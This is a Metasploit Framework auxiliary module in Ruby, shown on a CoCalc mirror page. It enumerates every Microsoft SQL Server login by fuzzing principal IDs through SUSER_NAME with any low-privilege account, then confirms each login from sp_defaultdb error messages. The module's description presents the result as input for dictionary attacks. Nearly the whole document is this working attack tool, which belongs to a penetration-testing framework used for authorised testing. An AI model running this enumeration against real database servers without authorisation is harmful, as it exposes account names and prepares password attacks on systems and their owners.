Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/mssql/mssql_enum_sql_logins.rb
28052 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::MSSQL
8
9
def initialize(info = {})
10
super(
11
update_info(
12
info,
13
'Name' => 'Microsoft SQL Server SUSER_SNAME SQL Logins Enumeration',
14
'Description' => %q{
15
This module can be used to obtain a list of all logins from a SQL Server with any login.
16
Selecting all of the logins from the master..syslogins table is restricted to sysadmins.
17
However, logins with the PUBLIC role (everyone) can quickly enumerate all SQL Server
18
logins using the SUSER_SNAME function by fuzzing the principal_id parameter. This is
19
pretty simple, because the principal IDs assigned to logins are incremental. Once logins
20
have been enumerated they can be verified via sp_defaultdb error analysis. This is
21
important, because not all of the principal IDs resolve to SQL logins (some resolve to
22
roles instead). Once logins have been enumerated, they can be used in dictionary attacks.
23
},
24
'Author' => ['nullbind <scott.sutherland[at]netspi.com>'],
25
'License' => MSF_LICENSE,
26
'References' => [['URL', 'https://docs.microsoft.com/en-us/sql/t-sql/functions/suser-sname-transact-sql']],
27
'Notes' => {
28
'Stability' => [CRASH_SAFE],
29
'SideEffects' => [IOC_IN_LOGS],
30
'Reliability' => []
31
}
32
)
33
)
34
35
register_options(
36
[
37
OptInt.new('FuzzNum', [true, 'Number of principal_ids to fuzz.', 300]),
38
]
39
)
40
end
41
42
def run
43
# Check connection and issue initial query
44
print_status("Attempting to connect to the database server at #{rhost}:#{rport} as #{datastore['USERNAME']}...")
45
46
unless mssql_login_datastore
47
print_error('Login was unsuccessful. Check your credentials.')
48
disconnect
49
return
50
end
51
52
print_good('Connected.')
53
54
# Query for sysadmin status
55
print_status("Checking if #{datastore['USERNAME']} has the sysadmin role...")
56
user_status = check_sysadmin
57
58
# Check if user has sysadmin role
59
if user_status == 1
60
print_good("#{datastore['USERNAME']} is a sysadmin.")
61
else
62
print_status("#{datastore['USERNAME']} is NOT a sysadmin.")
63
end
64
65
# Get a list if sql server logins using SUSER_NAME()
66
print_status("Setup to fuzz #{datastore['FuzzNum']} SQL Server logins.")
67
print_status('Enumerating logins...')
68
sql_logins_list = get_sql_logins
69
if sql_logins_list.nil? || sql_logins_list.empty?
70
print_error('Sorry, somethings went wrong - SQL Server logins were found.')
71
disconnect
72
return
73
end
74
75
# Print number of initial logins found
76
print_good("#{sql_logins_list.length} initial SQL Server logins were found.")
77
78
sql_logins_list.sort.each do |sql_login|
79
if datastore['VERBOSE']
80
print_status(" - #{sql_login}")
81
end
82
end
83
84
# Verify the enumerated SQL Logins using sp_defaultdb error ananlysis
85
print_status('Verifying the SQL Server logins...')
86
sql_logins_list_verified = verify_logins(sql_logins_list)
87
if sql_logins_list_verified.nil?
88
print_error('Sorry, no SQL Server logins could be verified.')
89
disconnect
90
return
91
end
92
93
# Display list verified SQL Server logins
94
print_good("#{sql_logins_list_verified.length} SQL Server logins were verified:")
95
sql_logins_list_verified.sort.each do |sql_login|
96
print_status(" - #{sql_login}")
97
end
98
99
disconnect
100
end
101
102
# Checks if user is a sysadmin
103
def check_sysadmin
104
# Setup query to check for sysadmin
105
sql = "select is_srvrolemember('sysadmin') as IsSysAdmin"
106
107
# Run query
108
result = mssql_query(sql)
109
110
# Parse query results
111
parse_results = result[:rows]
112
status = parse_results[0][0]
113
114
# Return status
115
return status
116
end
117
118
# Gets trusted databases owned by sysadmins
119
def get_sql_logins
120
# Create array to store the sql logins
121
sql_logins = []
122
123
# Fuzz the principal_id parameter passed to the SUSER_NAME function
124
(1..datastore['FuzzNum']).each do |principal_id|
125
# Setup query
126
sql = "SELECT SUSER_NAME(#{principal_id}) as login"
127
128
# Execute query
129
result = mssql_query(sql)
130
131
# Parse results
132
parse_results = result[:rows]
133
sql_login = parse_results[0][0]
134
135
# Add to sql server login list
136
sql_logins.push(sql_login) unless sql_logins.include?(sql_login)
137
end
138
139
# Return list of logins
140
sql_logins
141
end
142
143
# Checks if user has the db_owner role
144
def verify_logins(sql_logins_list)
145
# Create array for later use
146
verified_sql_logins = []
147
148
fake_db_name = Rex::Text.rand_text_alpha_upper(24)
149
150
# Check if the user has the db_owner role is any databases
151
sql_logins_list.each do |sql_login|
152
# Setup query
153
sql = "EXEC sp_defaultdb '#{sql_login}', '#{fake_db_name}'"
154
155
# Execute query
156
result = mssql_query(sql)
157
158
# Parse results
159
parse_results = result[:errors]
160
result = parse_results[0]
161
162
# Check if sid resolved to a sql login
163
if result.include?(fake_db_name) && !verified_sql_logins.include?(sql_login)
164
verified_sql_logins.push(sql_login)
165
end
166
167
# Check if sid resolved to a sql login
168
if result.include?('alter the login') && !verified_sql_logins.include?(sql_login)
169
# Add sql server login to verified list
170
verified_sql_logins.push(sql_login)
171
end
172
end
173
174
verified_sql_logins
175
end
176
end
177
178